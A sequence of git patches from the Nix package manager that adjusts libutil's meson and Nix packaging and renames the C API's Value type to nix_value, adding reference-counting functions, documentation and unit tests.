 deps_private += brotli
 
-# cpuid only makes sense on x86_64
-cpuid_required = host_machine.cpu_family() == 'x86_64' ? get_option('cpuid') : false
+cpuid_required = get_option('cpuid')
+if host_machine.cpu_family() != 'x86_64' and cpuid_required.enabled()
+  warning('Force-enabling seccomp on non-x86_64 does not make sense')
+endif
 cpuid = dependency('libcpuid', 'cpuid', required : cpuid_required)
 configdata.set('HAVE_LIBCPUID', cpuid.found().to_int())
 deps_private += cpuid
@@ -89,7 +130,7 @@ deps_private += cpuid
 nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
 deps_public += nlohmann_json
 
-config_util_h = configure_file(
+config_h = configure_file(
   configuration : configdata,
   output : 'config-util.h',
 )
@@ -157,7 +198,7 @@ sources = files(
 
 include_dirs = [include_directories('.')]
 
-headers = [config_util_h] + files(
+headers = [config_h] + files(
   'abstract-setting-to-json.hh',
   'ansicolor.hh',
   'archive.hh',
@@ -248,7 +289,7 @@ else
   linker_export_flags = []
 endif
 
-libutil = library(
+this_library = library(
   'nixutil',
   sources,
   dependencies : deps_public + deps_private + deps_other,
@@ -259,6 +300,11 @@ libutil = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
+# Part of how we copy boost libraries to a separate installation to
+# reduce closure size. These libraries will be copied to our `$out/bin`,
+# and these `-l` flags will pick them up there.
+#
+# https://github.com/NixOS/nixpkgs/issues/45462
 libraries_private = ['-lboost_context', '-lboost_coroutine']
 if host_machine.system() == 'windows'
   # `libraries_private` cannot contain ad-hoc dependencies (from
@@ -267,22 +313,20 @@ if host_machine.system() == 'windows'
 endif
 
 import('pkgconfig').generate(
-  libutil,
-  filebase : 'nix-util',
+  this_library,
+  filebase : meson.project_name(),
   name : 'Nix',
   description : 'Nix Package Manager',
   subdirs : ['nix'],
   extra_cflags : ['-std=c++2a'],
   requires : deps_public,
   requires_private : deps_private,
-  # avoid absolute paths, use vendored ones
   libraries_private : libraries_private,
 )
 
-nix_util = declare_dependency(
+meson.override_dependency(meson.project_name(), declare_dependency(
   include_directories : include_dirs,
-  link_with : libutil,
+  link_with : this_library,
   compile_args : ['-std=c++2a'],
   dependencies : [],
-)
-meson.override_dependency('nix-util', nix_util)
+))
diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index 6575b37a6bc..a461dccb85a 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -83,9 +83,8 @@ mkDerivation (finalAttrs: {
     ''
       echo ${version} > .version
     ''
-    # Copy libboost_context so we don't get all of Boost in our closure.
-
-    # https://github.com/NixOS/nixpkgs/issues/45462
+    # Copy some boost libraries so we don't get all of Boost in our
+    # closure. https://github.com/NixOS/nixpkgs/issues/45462
     + lib.optionalString (!stdenv.hostPlatform.isStatic) (''
       mkdir -p $out/lib
       cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib
@@ -115,7 +114,9 @@ mkDerivation (finalAttrs: {
   enableParallelBuilding = true;
 
   postInstall =
-    # Remove absolute path to boost libs
+    # Remove absolute path to boost libs that ends up in `Libs.private`
+    # by default, and would clash with out `disallowedReferences`. Part
+    # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround.
     ''
       sed -i "$out/lib/pkgconfig/nix-util.pc" -e 's, ${lib.getLib boost}[^ ]*,,g'
     ''
diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc
index a74f16ce14d..bc2b2d6144b 100644
--- a/src/libutil/unix/file-descriptor.cc
+++ b/src/libutil/unix/file-descriptor.cc
@@ -139,7 +139,9 @@ void closeMostFDs(const std::set<int> & exceptions)
 #endif
 
     int maxFD = 0;
+#if HAVE_SYSCONF
     maxFD = sysconf(_SC_OPEN_MAX);
+#endif
     for (int fd = 0; fd < maxFD; ++fd)
         if (!exceptions.count(fd))
             close(fd); /* ignore result */

From 7a5ee5d5973160293fe6b0dcfafc87699a75bd49 Mon Sep 17 00:00:00 2001
From: John Ericson <git@JohnEricson.me>
Date: Thu, 13 Jun 2024 11:42:17 -0400
Subject: [PATCH 348/528] Apply suggestions from code review

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 flake.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/flake.nix b/flake.nix
index f3660b8bff9..599c6dfbe82 100644
--- a/flake.nix
+++ b/flake.nix
@@ -243,7 +243,7 @@
           changelog-d;
         default = self.packages.${system}.nix;
       } // lib.concatMapAttrs
-        # We need to "flatten" packages we care about to pass `flake check`.
+        # We need to flatten recursive attribute sets of derivations to pass `flake check`.
         (pkgName: {}: {
           "${pkgName}" = nixpkgsFor.${system}.native.${pkgName};
           "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName};

From 0b56c98b1c10c3ea16b8cda9644e5b656b9d7b67 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 13 Jun 2024 18:18:36 +0200
Subject: [PATCH 349/528] C API: Value -> nix_value

---
 src/libexpr-c/nix_api_expr.h          |  3 ++-
 src/libexpr-c/nix_api_expr_internal.h |  5 +++++
 src/libexpr-c/nix_api_value.cc        | 11 ++++++++---
 src/libexpr-c/nix_api_value.h         |  5 ++++-
 tests/unit/libexpr/nix_api_value.cc   | 10 ++++++++++
 5 files changed, 29 insertions(+), 5 deletions(-)

diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index cb6c003852a..140da9e52e6 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -36,7 +36,8 @@ typedef struct EvalState EvalState; // nix::EvalState
  * @struct Value
  * @see value_manip
  */
-typedef void Value; // nix::Value
+typedef struct nix_value nix_value;
+[[deprecated("use nix_value instead")]] typedef nix_value Value;
 
 // Function prototypes
 /**
diff --git a/src/libexpr-c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h
index 7743849fdb8..5a875ef3970 100644
--- a/src/libexpr-c/nix_api_expr_internal.h
+++ b/src/libexpr-c/nix_api_expr_internal.h
@@ -20,6 +20,11 @@ struct ListBuilder
     nix::ListBuilder builder;
 };
 
+struct nix_value
+{
+    nix::Value value;
+};
+
 struct nix_string_return
 {
     std::string str;
diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index 978cf7f43a5..dd83821330e 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -64,6 +64,11 @@ static nix::Value & check_value_out(Value * value)
     return v;
 }
 
+static inline nix_value * as_nix_value_ptr(nix::Value * v)
+{
+    return reinterpret_cast<nix_value *>(v);
+}
+
 /**
  * Helper function to convert calls from nix into C API.
  *
@@ -159,7 +164,7 @@ Value * nix_alloc_value(nix_c_context * context, EvalState * state)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        Value * res = state->state.allocValue();
+        nix_value * res = as_nix_value_ptr(state->state.allocValue());
         nix_gc_incref(nullptr, res);
         return res;
     }
@@ -345,7 +350,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt
         if (attr) {
             nix_gc_incref(nullptr, attr->value);
             state->state.forceValue(*attr->value, nix::noPos);
-            return attr->value;
+            return as_nix_value_ptr(attr->value);
         }
         nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute");
         return nullptr;
@@ -380,7 +385,7 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta
         *name = ((const std::string &) (state->state.symbols[a.name])).c_str();
         nix_gc_incref(nullptr, a.value);
         state->state.forceValue(*a.value, nix::noPos);
-        return a.value;
+        return as_nix_value_ptr(a.value);
     }
     NIXC_CATCH_ERRS_NULL
 }
diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h
index 2448607073b..acc4a1969ff 100644
--- a/src/libexpr-c/nix_api_value.h
+++ b/src/libexpr-c/nix_api_value.h
@@ -35,8 +35,11 @@ typedef enum {
 } ValueType;
 
 // forward declarations
-typedef void Value;
+typedef struct nix_value nix_value;
 typedef struct EvalState EvalState;
+
+[[deprecated("use nix_value instead")]] typedef nix_value Value;
+
 // type defs
 /** @brief Stores an under-construction set of bindings
  * @ingroup value_manip
diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
index c71593c8566..b674d8681b8 100644
--- a/tests/unit/libexpr/nix_api_value.cc
+++ b/tests/unit/libexpr/nix_api_value.cc
@@ -4,16 +4,26 @@
 #include "nix_api_util_internal.h"
 #include "nix_api_expr.h"
 #include "nix_api_value.h"
+#include "nix_api_expr_internal.h"
 
 #include "tests/nix_api_expr.hh"
 #include "tests/string_callback.hh"
 
 #include "gmock/gmock.h"
+#include <cstddef>
 #include <cstdlib>
 #include <gtest/gtest.h>
 
 namespace nixC {
 
+TEST_F(nix_api_expr_test, as_nix_value_ptr)
+{
+    // nix_alloc_value casts nix::Value to nix_value
+    // It should be obvious from the decl that that works, but if it doesn't,
+    // the whole implementation would be utterly broken.
+    ASSERT_EQ(sizeof(nix::Value), sizeof(nix_value));
+}
+
 TEST_F(nix_api_expr_test, nix_value_get_int_invalid)
 {
     ASSERT_EQ(0, nix_get_int(ctx, nullptr));

From c50db4e58c6f18b9e7948de9d87f5af48b07fa9b Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 13 Jun 2024 18:21:04 +0200
Subject: [PATCH 350/528] C API: Add nix_value_{inc,dec}ref

- Can be implemented more easily by more eval architectures.
- Better types in generated bindings remove some uncertainty and doubt.
---
 src/libexpr-c/nix_api_expr.cc |  9 +++++++++
 src/libexpr-c/nix_api_expr.h  |  5 +++++
 src/libexpr-c/nix_api_value.h | 19 +++++++++++++++++++
 3 files changed, 33 insertions(+)

diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc
index b86d745db28..28b8922ce65 100644
--- a/src/libexpr-c/nix_api_expr.cc
+++ b/src/libexpr-c/nix_api_expr.cc
@@ -181,6 +181,15 @@ nix_err nix_gc_decref(nix_c_context * context, const void *)
 void nix_gc_now() {}
 #endif
 
+nix_err nix_value_incref(nix_c_context * context, nix_value *x)
+{
+    return nix_gc_incref(context, (const void *) x);
+}
+nix_err nix_value_decref(nix_c_context * context, nix_value *x)
+{
+    return nix_gc_decref(context, (const void *) x);
+}
+
 void nix_gc_register_finalizer(void * obj, void * cd, void (*finalizer)(void * obj, void * cd))
 {
 #ifdef HAVE_BOEHMGC
diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index 140da9e52e6..ce00246c67c 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -189,6 +189,11 @@ void nix_state_free(EvalState * state);
  * you're done with a value returned by the evaluator.
  * @{
  */
+
+// TODO: Deprecate nix_gc_incref in favor of the type-specific reference counting functions?
+//       e.g. nix_value_incref.
+//       It gives implementors more flexibility, and adds safety, so that generated
+//       bindings can be used without fighting the host type system (where applicable).
 /**
  * @brief Increment the garbage collector reference counter for the given object.
  *
diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h
index acc4a1969ff..26044bd57a2 100644
--- a/src/libexpr-c/nix_api_value.h
+++ b/src/libexpr-c/nix_api_value.h
@@ -147,6 +147,25 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp);
  */
 Value * nix_alloc_value(nix_c_context * context, EvalState * state);
 
+/**
+ * @brief Increment the garbage collector reference counter for the given `nix_value`.
+ *
+ * The Nix language evaluator C API keeps track of alive objects by reference counting.
+ * When you're done with a refcounted pointer, call nix_value_decref().
+ *
+ * @param[out] context Optional, stores error information
+ * @param[in] value The object to keep alive
+ */
+nix_err nix_value_incref(nix_c_context * context, nix_value * value);
+
+/**
+ * @brief Decrement the garbage collector reference counter for the given object
+ *
+ * @param[out] context Optional, stores error information
+ * @param[in] value The object to stop referencing
+ */
+nix_err nix_value_decref(nix_c_context * context, nix_value * value);
+
 /** @addtogroup value_manip Manipulating values
  * @brief Functions to inspect and change Nix language values, represented by Value.
  * @{

From 5d8118d9cb6a2c349fd96bee5a9bdd1c4b65fae9 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 13 Jun 2024 18:23:21 +0200
Subject: [PATCH 351/528] C API: Docs

---
 src/libexpr-c/nix_api_expr.h | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index ce00246c67c..783176bfa66 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -29,12 +29,20 @@ extern "C" {
  * @see nix_state_create
  */
 typedef struct EvalState EvalState; // nix::EvalState
-/**
- * @brief Represents a value in the Nix language.
+
+/** @brief A Nix language value, or thunk that may evaluate to a value.
+ *
+ * Values are the primary objects manipulated in the Nix language.
+ * They are considered to be immutable from a user's perspective, but the process of evaluating a Value changes its
+ * ValueType if it was a thunk. After a Value has been evaluated, its ValueType does not change.
+ *
+ * Evaluation in this context refers to the process of evaluating a single Value object, also called "forcing" the
+ * Value; see `nix_value_force`.
+ *
+ * The evaluator manages its own memory, but your use of the C API must follow the reference counting rules.
  *
- * Owned by the garbage collector.
- * @struct Value
  * @see value_manip
+ * @see nix_value_incref, nix_value_decref
  */
 typedef struct nix_value nix_value;
 [[deprecated("use nix_value instead")]] typedef nix_value Value;
@@ -128,7 +136,7 @@ nix_err nix_value_call_multi(
  * The Nix interpreter is lazy, and not-yet-evaluated Values can be
  * of type NIX_TYPE_THUNK instead of their actual value.
  *
- * This function converts these Values into their final type.
+ * This function mutates such a Value, so that, if successful, it has its final type.
  *
  * @note This function is mainly needed before calling @ref getters, but not for API calls that return a `Value`.
  *

From b94e1d62182114ab5198fd58869a9af29d54cff5 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 13 Jun 2024 18:51:58 +0200
Subject: [PATCH 352/528] C API: Value -> nix_value

See issue https://github.com/NixOS/nix/issues/10434
---
 src/libexpr-c/nix_api_expr.cc                 | 26 +++---
 src/libexpr-c/nix_api_expr.h                  | 26 +++---
 src/libexpr-c/nix_api_value.cc                | 93 ++++++++++---------
 src/libexpr-c/nix_api_value.h                 | 71 +++++++-------
 .../libexpr-support/tests/nix_api_expr.hh     |  2 +-
 tests/unit/libexpr/nix_api_expr.cc            | 62 +++++++------
 tests/unit/libexpr/nix_api_external.cc        |  4 +-
 tests/unit/libexpr/nix_api_value.cc           | 32 +++----
 8 files changed, 161 insertions(+), 155 deletions(-)

diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc
index 28b8922ce65..bdf7a1e63a0 100644
--- a/src/libexpr-c/nix_api_expr.cc
+++ b/src/libexpr-c/nix_api_expr.cc
@@ -42,56 +42,56 @@ nix_err nix_libexpr_init(nix_c_context * context)
 }
 
 nix_err nix_expr_eval_from_string(
-    nix_c_context * context, EvalState * state, const char * expr, const char * path, Value * value)
+    nix_c_context * context, EvalState * state, const char * expr, const char * path, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
     try {
         nix::Expr * parsedExpr = state->state.parseExprFromString(expr, state->state.rootPath(nix::CanonPath(path)));
-        state->state.eval(parsedExpr, *(nix::Value *) value);
-        state->state.forceValue(*(nix::Value *) value, nix::noPos);
+        state->state.eval(parsedExpr, value->value);
+        state->state.forceValue(value->value, nix::noPos);
     }
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value)
+nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, nix_value * arg, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        state->state.callFunction(*(nix::Value *) fn, *(nix::Value *) arg, *(nix::Value *) value, nix::noPos);
-        state->state.forceValue(*(nix::Value *) value, nix::noPos);
+        state->state.callFunction(fn->value, arg->value, value->value, nix::noPos);
+        state->state.forceValue(value->value, nix::noPos);
     }
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_value_call_multi(nix_c_context * context, EvalState * state, Value * fn, size_t nargs, Value ** args, Value * value)
+nix_err nix_value_call_multi(nix_c_context * context, EvalState * state, nix_value * fn, size_t nargs, nix_value ** args, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        state->state.callFunction(*(nix::Value *) fn, nargs, (nix::Value * *)args, *(nix::Value *) value, nix::noPos);
-        state->state.forceValue(*(nix::Value *) value, nix::noPos);
+        state->state.callFunction(fn->value, nargs, (nix::Value * *)args, value->value, nix::noPos);
+        state->state.forceValue(value->value, nix::noPos);
     }
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * value)
+nix_err nix_value_force(nix_c_context * context, EvalState * state, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        state->state.forceValue(*(nix::Value *) value, nix::noPos);
+        state->state.forceValue(value->value, nix::noPos);
     }
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * value)
+nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        state->state.forceValueDeep(*(nix::Value *) value);
+        state->state.forceValueDeep(value->value);
     }
     NIXC_CATCH_ERRS
 }
diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index 783176bfa66..adf8b65b1a3 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -33,11 +33,11 @@ typedef struct EvalState EvalState; // nix::EvalState
 /** @brief A Nix language value, or thunk that may evaluate to a value.
  *
  * Values are the primary objects manipulated in the Nix language.
- * They are considered to be immutable from a user's perspective, but the process of evaluating a Value changes its
- * ValueType if it was a thunk. After a Value has been evaluated, its ValueType does not change.
+ * They are considered to be immutable from a user's perspective, but the process of evaluating a value changes its
+ * ValueType if it was a thunk. After a value has been evaluated, its ValueType does not change.
  *
- * Evaluation in this context refers to the process of evaluating a single Value object, also called "forcing" the
- * Value; see `nix_value_force`.
+ * Evaluation in this context refers to the process of evaluating a single value object, also called "forcing" the
+ * value; see `nix_value_force`.
  *
  * The evaluator manages its own memory, but your use of the C API must follow the reference counting rules.
  *
@@ -74,7 +74,7 @@ nix_err nix_libexpr_init(nix_c_context * context);
  * @return NIX_OK if the evaluation was successful, an error code otherwise.
  */
 nix_err nix_expr_eval_from_string(
-    nix_c_context * context, EvalState * state, const char * expr, const char * path, Value * value);
+    nix_c_context * context, EvalState * state, const char * expr, const char * path, nix_value * value);
 
 /**
  * @brief Calls a Nix function with an argument.
@@ -88,7 +88,7 @@ nix_err nix_expr_eval_from_string(
  * @see nix_init_apply() for a similar function that does not performs the call immediately, but stores it as a thunk.
  *      Note the different argument order.
  */
-nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value);
+nix_err nix_value_call(nix_c_context * context, EvalState * state, nix_value * fn, nix_value * arg, nix_value * value);
 
 /**
  * @brief Calls a Nix function with multiple arguments.
@@ -107,7 +107,7 @@ nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, V
  * @see NIX_VALUE_CALL           For a macro that wraps this function for convenience.
  */
 nix_err nix_value_call_multi(
-    nix_c_context * context, EvalState * state, Value * fn, size_t nargs, Value ** args, Value * value);
+    nix_c_context * context, EvalState * state, nix_value * fn, size_t nargs, nix_value ** args, nix_value * value);
 
 /**
  * @brief Calls a Nix function with multiple arguments.
@@ -125,7 +125,7 @@ nix_err nix_value_call_multi(
  */
 #define NIX_VALUE_CALL(context, state, value, fn, ...)                      \
     do {                                                                    \
-        Value * args_array[] = {__VA_ARGS__};                               \
+        nix_value * args_array[] = {__VA_ARGS__};                           \
         size_t nargs = sizeof(args_array) / sizeof(args_array[0]);          \
         nix_value_call_multi(context, state, fn, nargs, args_array, value); \
     } while (0)
@@ -133,12 +133,10 @@ nix_err nix_value_call_multi(
 /**
  * @brief Forces the evaluation of a Nix value.
  *
- * The Nix interpreter is lazy, and not-yet-evaluated Values can be
+ * The Nix interpreter is lazy, and not-yet-evaluated values can be
  * of type NIX_TYPE_THUNK instead of their actual value.
  *
- * This function mutates such a Value, so that, if successful, it has its final type.
- *
- * @note This function is mainly needed before calling @ref getters, but not for API calls that return a `Value`.
+ * This function mutates such a `nix_value`, so that, if successful, it has its final type.
  *
  * @param[out] context Optional, stores error information
  * @param[in] state The state of the evaluation.
@@ -147,7 +145,7 @@ nix_err nix_value_call_multi(
  * @return NIX_OK if the force operation was successful, an error code
  * otherwise.
  */
-nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * value);
+nix_err nix_value_force(nix_c_context * context, EvalState * state, nix_value * value);
 
 /**
  * @brief Forces the deep evaluation of a Nix value.
@@ -163,7 +161,7 @@ nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * valu
  * @return NIX_OK if the deep force operation was successful, an error code
  * otherwise.
  */
-nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value * value);
+nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, nix_value * value);
 
 /**
  * @brief Create a new Nix language evaluator state.
diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index dd83821330e..2f2f99617e2 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -21,45 +21,45 @@
 #endif
 
 // Internal helper functions to check [in] and [out] `Value *` parameters
-static const nix::Value & check_value_not_null(const Value * value)
+static const nix::Value & check_value_not_null(const nix_value * value)
 {
     if (!value) {
-        throw std::runtime_error("Value is null");
+        throw std::runtime_error("nix_value is null");
     }
     return *((const nix::Value *) value);
 }
 
-static nix::Value & check_value_not_null(Value * value)
+static nix::Value & check_value_not_null(nix_value * value)
 {
     if (!value) {
-        throw std::runtime_error("Value is null");
+        throw std::runtime_error("nix_value is null");
     }
-    return *((nix::Value *) value);
+    return value->value;
 }
 
-static const nix::Value & check_value_in(const Value * value)
+static const nix::Value & check_value_in(const nix_value * value)
 {
     auto & v = check_value_not_null(value);
     if (!v.isValid()) {
-        throw std::runtime_error("Uninitialized Value");
+        throw std::runtime_error("Uninitialized nix_value");
     }
     return v;
 }
 
-static nix::Value & check_value_in(Value * value)
+static nix::Value & check_value_in(nix_value * value)
 {
     auto & v = check_value_not_null(value);
     if (!v.isValid()) {
-        throw std::runtime_error("Uninitialized Value");
+        throw std::runtime_error("Uninitialized nix_value");
     }
     return v;
 }
 
-static nix::Value & check_value_out(Value * value)
+static nix::Value & check_value_out(nix_value * value)
 {
     auto & v = check_value_not_null(value);
     if (v.isValid()) {
-        throw std::runtime_error("Value already initialized. Variables are immutable");
+        throw std::runtime_error("nix_value already initialized. Variables are immutable");
     }
     return v;
 }
@@ -92,7 +92,7 @@ static void nix_c_primop_wrapper(
     // or maybe something to make blackholes work better; we don't know).
     nix::Value vTmp;
 
-    f(userdata, &ctx, (EvalState *) &state, (Value **) args, (Value *) &vTmp);
+    f(userdata, &ctx, (EvalState *) &state, (nix_value **) args, (nix_value *) &vTmp);
 
     if (ctx.last_err_code != NIX_OK) {
         /* TODO: Throw different errors depending on the error code */
@@ -159,7 +159,7 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp)
     NIXC_CATCH_ERRS
 }
 
-Value * nix_alloc_value(nix_c_context * context, EvalState * state)
+nix_value * nix_alloc_value(nix_c_context * context, EvalState * state)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -171,7 +171,7 @@ Value * nix_alloc_value(nix_c_context * context, EvalState * state)
     NIXC_CATCH_ERRS_NULL
 }
 
-ValueType nix_get_type(nix_c_context * context, const Value * value)
+ValueType nix_get_type(nix_c_context * context, const nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -207,7 +207,7 @@ ValueType nix_get_type(nix_c_context * context, const Value * value)
     NIXC_CATCH_ERRS_RES(NIX_TYPE_NULL);
 }
 
-const char * nix_get_typename(nix_c_context * context, const Value * value)
+const char * nix_get_typename(nix_c_context * context, const nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -219,7 +219,7 @@ const char * nix_get_typename(nix_c_context * context, const Value * value)
     NIXC_CATCH_ERRS_NULL
 }
 
-bool nix_get_bool(nix_c_context * context, const Value * value)
+bool nix_get_bool(nix_c_context * context, const nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -231,7 +231,8 @@ bool nix_get_bool(nix_c_context * context, const Value * value)
     NIXC_CATCH_ERRS_RES(false);
 }
 
-nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_string_callback callback, void * user_data)
+nix_err
+nix_get_string(nix_c_context * context, const nix_value * value, nix_get_string_callback callback, void * user_data)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -243,7 +244,7 @@ nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_str
     NIXC_CATCH_ERRS
 }
 
-const char * nix_get_path_string(nix_c_context * context, const Value * value)
+const char * nix_get_path_string(nix_c_context * context, const nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -262,7 +263,7 @@ const char * nix_get_path_string(nix_c_context * context, const Value * value)
     NIXC_CATCH_ERRS_NULL
 }
 
-unsigned int nix_get_list_size(nix_c_context * context, const Value * value)
+unsigned int nix_get_list_size(nix_c_context * context, const nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -274,7 +275,7 @@ unsigned int nix_get_list_size(nix_c_context * context, const Value * value)
     NIXC_CATCH_ERRS_RES(0);
 }
 
-unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value)
+unsigned int nix_get_attrs_size(nix_c_context * context, const nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -286,7 +287,7 @@ unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value)
     NIXC_CATCH_ERRS_RES(0);
 }
 
-double nix_get_float(nix_c_context * context, const Value * value)
+double nix_get_float(nix_c_context * context, const nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -298,7 +299,7 @@ double nix_get_float(nix_c_context * context, const Value * value)
     NIXC_CATCH_ERRS_RES(0.0);
 }
 
-int64_t nix_get_int(nix_c_context * context, const Value * value)
+int64_t nix_get_int(nix_c_context * context, const nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -310,7 +311,7 @@ int64_t nix_get_int(nix_c_context * context, const Value * value)
     NIXC_CATCH_ERRS_RES(0);
 }
 
-ExternalValue * nix_get_external(nix_c_context * context, Value * value)
+ExternalValue * nix_get_external(nix_c_context * context, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -322,7 +323,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value * value)
     NIXC_CATCH_ERRS_NULL;
 }
 
-Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int ix)
+nix_value * nix_get_list_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int ix)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -333,12 +334,12 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta
         nix_gc_incref(nullptr, p);
         if (p != nullptr)
             state->state.forceValue(*p, nix::noPos);
-        return (Value *) p;
+        return as_nix_value_ptr(p);
     }
     NIXC_CATCH_ERRS_NULL
 }
 
-Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name)
+nix_value * nix_get_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -358,7 +359,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt
     NIXC_CATCH_ERRS_NULL
 }
 
-bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name)
+bool nix_has_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -374,8 +375,8 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState
     NIXC_CATCH_ERRS_RES(false);
 }
 
-Value *
-nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i, const char ** name)
+nix_value * nix_get_attr_byidx(
+    nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i, const char ** name)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -390,7 +391,8 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta
     NIXC_CATCH_ERRS_NULL
 }
 
-const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i)
+const char *
+nix_get_attr_name_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -402,7 +404,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu
     NIXC_CATCH_ERRS_NULL
 }
 
-nix_err nix_init_bool(nix_c_context * context, Value * value, bool b)
+nix_err nix_init_bool(nix_c_context * context, nix_value * value, bool b)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -414,7 +416,7 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b)
 }
 
 // todo string context
-nix_err nix_init_string(nix_c_context * context, Value * value, const char * str)
+nix_err nix_init_string(nix_c_context * context, nix_value * value, const char * str)
 {
     if (context)
